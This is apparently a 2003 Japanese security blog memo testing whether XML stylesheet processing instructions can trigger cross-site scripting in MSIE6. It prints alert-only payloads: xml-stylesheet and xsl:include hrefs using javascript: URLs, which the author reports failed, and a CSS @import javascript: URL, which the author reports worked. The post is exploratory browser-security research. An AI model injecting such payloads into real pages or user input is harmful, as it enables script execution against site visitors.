水無月ばけらのえび日記

bakera.jp > 水無月ばけらのえび日記 > XML を利用して XSS

XML を利用して XSS

2003年7月6日(日曜日)

XML を利用して XSS

どこかで何かが成功してしまったという話ではありませんが、単にメモとして。

とりあえずこんなのを思いついたので試してみました。

<?xml-stylesheet type="text/xsl" href="javascript:alert('foo');" ?>

しかし、これは MSIE6 では動作しませんでした。あと、XSL ファイル内に以下のように書く方法も思いつきましたが、これも駄目でした。

<xsl:include href="javascript:alert('foo');"/>

では xml-stylesheet 処理命令は安全なのかというとそうでもありません。以下のようにするとスクリプトの実行が可能です。まず、

<?xml-stylesheet type="text/css" href="test.css" ?>

と書いておいて、test.css に

@import url("javascript:alert('foo');");

と書けば OK。MSIE6 で動作を確認しました。

最近のブラウザは XML 系のもろもろに対応していたりすることがあるので、深く研究してみると面白いかも知れません。

関連する話題: メモ / Web / セキュリティ

人気のページ

最近の日記

関わった本など

デザイニングWebアクセシビリティ - アクセシブルな設計やコンテンツ制作のアプローチコーディングWebアクセシビリティ - WAI-ARIAで実現するマルチデバイス環境のWebアプリケーション体系的に学ぶ 安全なWebアプリケーションの作り方 脆弱性が生まれる原理と対策の実践ウェブの仕事力が上がる標準ガイドブック 5 WebプログラミングWeb Site Expert #13Dreamweaver プロフェッショナル・スタイル [CS3対応] (Style for professional)友井町バスターズ (富士見ファンタジア文庫)

その他サイト